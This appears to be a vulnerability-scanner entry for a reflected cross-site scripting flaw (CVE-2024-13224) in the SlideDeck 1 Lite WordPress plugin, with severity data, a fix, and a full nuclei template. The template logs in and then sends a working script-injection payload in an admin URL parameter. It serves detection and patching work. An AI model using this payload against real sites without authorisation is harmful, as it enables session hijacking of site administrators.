SlideDeck 1 Lite Content Slider - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.6%likelihood of exploitation, next 30 days

50%of all CVEs are less likely

Readycheck to confirm it

SlideDeck 1 Lite Content Slider WordPress plugin <= 1.4.8 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.

Impact

Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.

Fix

Update to the latest version of the plugin where the vulnerability is fixed.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=slidedeck.php/slidedeck_dynamic&action=1"></script><script>alert(document.domain)</script><script>
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "></script><script>alert(document.domain)</script><script>", "dynamic_slidedeck_form")

Run it with nuclei: nuclei -id CVE-2024-13224 -u <target>

The full check

id: CVE-2024-13224

info:
  name: SlideDeck 1 Lite Content Slider - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    SlideDeck 1 Lite Content Slider WordPress plugin <= 1.4.8 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - https://wpscan.com/vulnerability/32a90907-e82f-41b3-b20e-d10a722e2999/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13224
    cwe-id: CWE-79
    epss-score: 0.0061
    epss-percentile: 0.49541
    cpe: cpe:2.3:a:dtelepathy:slidedeck_1_lite_content_slider:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: dtelepathy
    product: slidedeck_1_lite_content_slider
  tags: cve,cve2024,wpscan,wp-plugin,dtelepathy,slidedeck-1-lite-content-slider

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "wordpress_logged_in")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=slidedeck.php/slidedeck_dynamic&action=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "></script><script>alert(document.domain)</script><script>", "dynamic_slidedeck_form")'
        condition: and

References

https://wpscan.com/vulnerability/32a90907-e82f-41b3-b20e-d10a722e2999/

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